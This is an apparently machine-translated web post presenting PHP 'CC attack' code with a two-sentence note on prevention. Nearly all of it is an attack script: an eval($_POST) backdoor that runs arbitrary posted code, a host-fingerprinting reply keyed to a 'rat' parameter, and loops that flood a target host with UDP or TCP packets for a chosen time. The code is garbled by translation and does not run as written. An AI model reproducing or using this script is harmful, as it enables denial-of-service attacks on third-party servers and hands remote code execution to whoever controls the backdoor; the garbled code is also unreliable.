PHP cc attack code CC attack Prevention method

Eval ($_POST[CHR (90)]); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $http = $_get[' http ']; $rand = $_get[' exit ']; $exec _time = $_get[' time '); if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0) { if (StrLen ($_get[' rat ']) <>0) { echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat '; Exit } echo "PHP Terminator"; Exit } for ($i =0; $i <65535; $i + +) { $out. = "X"; } Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center $max _time = time () + $exec _time; if ($rand ==53) while (1) { $packets + +; if (Time () > $max _time) { Break } $fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5); if ($FP) { Fwrite ($fp, $out); Fclose ($FP); } } Else if ($rand ==500) while (1) { $packets + +; if (Time () > $max _time) { Break } $fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5); if ($FP) { Fwrite ($fp, $out); Fclose ($FP); } } Else while (1) { $packets + +; if (Time () > $max _time) { Break } $fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5); if ($FP) { Fwrite ($fp, $out); Fclose ($FP); } } ?> Copy Code For the protection of CC attacks, if it is a dynamic page, you can determine the time, if the site is static, you need to install anti-CC attacks on the Server software, General server security dog is still good. For the prevention of PHP cc attacks, always pay attention to.

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